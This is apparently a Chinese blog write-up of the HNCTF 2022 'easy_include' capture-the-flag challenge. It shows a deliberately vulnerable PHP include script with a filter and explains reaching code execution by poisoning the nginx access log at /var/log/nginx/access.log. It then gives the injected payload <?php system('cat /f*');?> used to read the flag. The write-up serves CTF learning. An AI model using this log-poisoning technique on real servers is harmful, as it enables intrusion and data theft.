当前位置: 首页 > news >正文

[HNCTF 2022 WEEK2]easy_include 文件包含遇上nginx

这道纯粹记录 完全没想到

<?php
//WEB手要懂得搜索if(isset($_GET['file'])){$file = $_GET['file'];if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
} 

存在文件包含漏洞 过滤 data 等常见利用协议

然后我们看看能读取啥东西

发现啥都可以

那我们通过

这里泄露了中间件

那么我们直接去搜

发现存在一个文件日志包含漏洞

/var/log/nginx/access.log

看了看就是会解析php 所以直接传递参数即可传递一个phpinfo

成功执行 那么就直接开始吧 直接穿命令

<?php system('cat /f*');?>

得到flag

这个确实确实确实确实没想到 可以可以 又学到一个东西

相关文章:

  • SpringBoot_mybatis-plus使用json字段
  • helm一键部署grafana
  • 《C和指针》(5)操作符和表达式
  • 前后端分离vue+springboot家庭理财账单财务管理系统
  • MySQL进阶-存储引擎
  • nodejs+php+python+微信小程序-基于安卓android的北京地铁票务APP-计算机毕业设计
  • 合肥中科深谷嵌入式项目实战——人工智能与机械臂(五)
  • VR全景在医院的应用:缓和医患矛盾、提升医院形象
  • Android与IOS渲染流程对比
  • Rust 语言常见的一些概念(上)
  • 《Pytorch新手入门》第一节-认识Tensor
  • 如何选一款适合自己的网页浏览器?-2023
  • linux杀毒软件下载、安装(在线安装、离线安装)
  • CentOS Stream9 修改阿里源
  • C++基础算法④——排序算法(快速、归并附完整代码)
  • django开发-定时任务的使用
  • echarts花样作死的坑
  • Elasticsearch 参考指南(升级前重新索引)
  • es6要点
  • React 快速上手 - 07 前端路由 react-router
  • Shell编程
  • Synchronized 关键字使用、底层原理、JDK1.6 之后的底层优化以及 和ReenTrantLock 的对比...
  • Vue 动态创建 component
  • 产品三维模型在线预览
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 开放才能进步!Angular和Wijmo一起走过的日子
  • 聊聊springcloud的EurekaClientAutoConfiguration
  • 前端设计模式
  • 软件开发学习的5大技巧,你知道吗?
  • 使用 Node.js 的 nodemailer 模块发送邮件(支持 QQ、163 等、支持附件)
  • 我的业余项目总结
  • 06-01 点餐小程序前台界面搭建
  • !!java web学习笔记(一到五)
  • "无招胜有招"nbsp;史上最全的互…
  • (1)(1.13) SiK无线电高级配置(五)
  • (10)ATF MMU转换表
  • (14)学习笔记:动手深度学习(Pytorch神经网络基础)
  • (BFS)hdoj2377-Bus Pass
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (入门自用)--C++--抽象类--多态原理--虚表--1020
  • (转)编辑寄语:因为爱心,所以美丽
  • (转)大型网站的系统架构
  • (转)如何上传第三方jar包至Maven私服让maven项目可以使用第三方jar包
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • *ST京蓝入股力合节能 着力绿色智慧城市服务
  • .cfg\.dat\.mak(持续补充)
  • .NET DataGridView数据绑定说明
  • .NET MVC 验证码
  • .NET开源项目介绍及资源推荐:数据持久层 (微软MVP写作)
  • @private @protected @public
  • [\u4e00-\u9fa5] //匹配中文字符
  • [<死锁专题>]
  • [ACTF2020 新生赛]Include
  • [android学习笔记]学习jni编程
  • [BJDCTF2020]The mystery of ip1